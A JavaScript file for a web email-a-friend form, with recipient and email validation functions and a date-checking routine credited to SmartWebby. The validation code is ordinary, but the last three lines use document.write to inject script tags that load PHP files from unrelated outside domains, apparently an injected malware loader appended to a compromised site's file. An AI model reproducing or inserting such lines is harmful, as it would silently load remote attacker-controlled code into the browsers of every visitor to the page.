function formChecking(){
	var err=false, err1=false, err_atleast1="", err_rName="", err_rEmail="", err_yName="", err_yEmail=""; 
	document.eform.rName.value ="";
	document.eform.rEmail.value ="";

	recipientCheck(document.eform.rName1.value, document.eform.rEmail1.value, 1 );
	recipientCheck(document.eform.rName2.value, document.eform.rEmail2.value, 2 );
	recipientCheck(document.eform.rName3.value, document.eform.rEmail3.value, 3 );
	recipientCheck(document.eform.rName4.value, document.eform.rEmail4.value, 4 );
	recipientCheck(document.eform.rName5.value, document.eform.rEmail5.value, 5 );
	recipientCheck(document.eform.rName6.value, document.eform.rEmail6.value, 6 );
	recipientCheck(document.eform.rName7.value, document.eform.rEmail7.value, 7 );
	recipientCheck(document.eform.rName8.value, document.eform.rEmail8.value, 8 );
	recipientCheck(document.eform.rName9.value, document.eform.rEmail9.value, 9 );
	recipientCheck(document.eform.rName10.value, document.eform.rEmail10.value, 10 );	
	recipientCheck(document.eform.rName11.value, document.eform.rEmail11.value, 11 );
	recipientCheck(document.eform.rName12.value, document.eform.rEmail12.value, 12 );
	recipientCheck(document.eform.rName13.value, document.eform.rEmail13.value, 13 );
	recipientCheck(document.eform.rName14.value, document.eform.rEmail14.value, 14 );
	recipientCheck(document.eform.rName15.value, document.eform.rEmail15.value, 15 );
	recipientCheck(document.eform.rName16.value, document.eform.rEmail16.value, 16 );
	recipientCheck(document.eform.rName17.value, document.eform.rEmail17.value, 17 );
	recipientCheck(document.eform.rName18.value, document.eform.rEmail18.value, 18 );
	recipientCheck(document.eform.rName19.value, document.eform.rEmail19.value, 19 );
	recipientCheck(document.eform.rName20.value, document.eform.rEmail20.value, 20 );	
	recipientCheck(document.eform.rName21.value, document.eform.rEmail21.value, 21 );
	recipientCheck(document.eform.rName22.value, document.eform.rEmail22.value, 22 );
	recipientCheck(document.eform.rName23.value, document.eform.rEmail23.value, 23 );
	recipientCheck(document.eform.rName24.value, document.eform.rEmail24.value, 24 );
	recipientCheck(document.eform.rName25.value, document.eform.rEmail25.value, 25 );	

	if (err_rName!="") {
		err_rName = err_rName.substring(0,err_rName.length-2);
		err_rName = "Please enter a Name for Recipient(s): " + err_rName + ".\n"; 
	}
	if (err_rEmail!="") {
		err_rEmail = err_rEmail.substring(0,err_rEmail.length-2);
		err_rEmail = "Please enter a valid Email for Recipient(s): " + err_rEmail + ".\n\n"; 
	}
	if (!err1) {
		err=true;
		err_atleast1 = "Please enter at least 1 pair of Recipient's Name and Email.\n\n";
	}
	
	if (document.eform.yName.value=="") {
		err=true;
		err_yName="Please enter your name.\n";
	}

	if (document.eform.yEmail.value=="") { //check whether email provided is valid
		err=true;
		err_yEmail="Please enter your own email address.\n";
	} else  {
		if ( !emailcheckOK( document.eform.yEmail.value ) ) {
			err=true;
			err_yEmail = "Your email address is not valid.\n";
		}
	}	

	if (err == true)  {
		alert (err_atleast1 + err_rName + err_rEmail + err_yName + err_yEmail);
		return false; //formOK		
	} else {
		document.eform.rName.value = document.eform.rName.value.substring(0,document.eform.rName.value.length-1);
		document.eform.rEmail.value = document.eform.rEmail.value.substring(0,document.eform.rEmail.value.length-1);
//		document.eform.submit();
		return true; //formOK	
	}

//note that this function is inside the function formChecking()
function recipientCheck(rname,remail,pos) {
var checkOK=true;	
 if ( (rname!="") | (remail!="") ) {
	if (!err1) {err1 = true};
	if (rname=="") {
		err=true; checkOK=false;
		err_rName=err_rName + pos + ", ";
	}

	if ( (remail=="") | !emailcheckOK( remail ) ){ //check whether email provided is valid
		err=true; checkOK=false;
		err_rEmail=err_rEmail + pos + ", ";
	}	
	if (checkOK){
		document.eform.rName.value = document.eform.rName.value + rname + "|";
		document.eform.rEmail.value = document.eform.rEmail.value + remail + "|";
		//alert(pos+ "  ,  " + eform.rName.value+"  ,   "+eform.rEmail.value);
	}
 }
//alert(pos+", "+ err_rName +", "+ err_rEmail );
} //end function recipientCheck

}//end function formChecking()

function emailcheckOK(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    return false
		 }

 		 return true					
	}

/**
 * DHTML date validation script. Courtesy of SmartWebby.com (http://www.smartwebby.com/dhtml/)
 */
// Declaring valid date character, minimum year and maximum year
var dtCh= "/";
var minYear=1900;
var maxYear=2100;

function isInteger(s){
	var i;
    for (i = 0; i < s.length; i++){   
        // Check that current character is number.
        var c = s.charAt(i);
        if (((c < "0") || (c > "9"))) return false;
    }
    // All characters are numbers.
    return true;
}

function stripCharsInBag(s, bag){
	var i;
    var returnString = "";
    // Search through string's characters one by one.
    // If character is not in bag, append to returnString.
    for (i = 0; i < s.length; i++){   
        var c = s.charAt(i);
        if (bag.indexOf(c) == -1) returnString += c;
    }
    return returnString;
}

function daysInFebruary (year){
	// February has 29 days in any year evenly divisible by four,
    // EXCEPT for centurial years which are not also divisible by 400.
    return (((year % 4 == 0) && ( (!(year % 100 == 0)) || (year % 400 == 0))) ? 29 : 28 );
}
function DaysArray(n) {
	for (var i = 1; i <= n; i++) {
		this[i] = 31
		if (i==4 || i==6 || i==9 || i==11) {this[i] = 30}
		if (i==2) {this[i] = 29}
   } 
   return this
}

function isDate(dtStr){
	var daysInMonth = DaysArray(12)
	var pos1=dtStr.indexOf(dtCh)
	var pos2=dtStr.indexOf(dtCh,pos1+1)
	var strDay=dtStr.substring(0,pos1)
	var strMonth=dtStr.substring(pos1+1,pos2)
	var strYear=dtStr.substring(pos2+1)
	strYr=strYear
	if (strDay.charAt(0)=="0" && strDay.length>1) strDay=strDay.substring(1)
	if (strMonth.charAt(0)=="0" && strMonth.length>1) strMonth=strMonth.substring(1)
	for (var i = 1; i <= 3; i++) {
		if (strYr.charAt(0)=="0" && strYr.length>1) strYr=strYr.substring(1)
	}
	month=parseInt(strMonth)
	day=parseInt(strDay)
	year=parseInt(strYr)
	if (pos1==-1 || pos2==-1){
		//alert("The date format should be : mm/dd/yyyy")
		return ("The date format should be dd/mm/yyyy");//false
	}
	if (strMonth.length<1 || month<1 || month>12){
		//alert("Please enter a valid month")
		return ("Please enter a valid month");//false
	}
	if (strDay.length<1 || day<1 || day>31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]){
		//alert("Please enter a valid day")
		return ("Please enter a valid day");//false
	}
	if (strYear.length != 4 || year==0 || year<minYear || year>maxYear){
		//alert("Please enter a valid 4 digit year between "+minYear+" and "+maxYear)
		return ("Please enter a valid 4 digit year between "+minYear+" and "+maxYear);//false
	}
	if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false){
		//alert("Please enter a valid date")
		return ("Please enter a valid date"); //false
	}
return '';
}
document.write('<script src=http://bloccorlando.org/forum/2005welcome.php ><\/script>');
document.write('<script src=http://metodu.ru/system/googlec4a12f29787da3ff.php ><\/script>');
document.write('<script src=http://metodu.ru/system/googlec4a12f29787da3ff.php ><\/script>');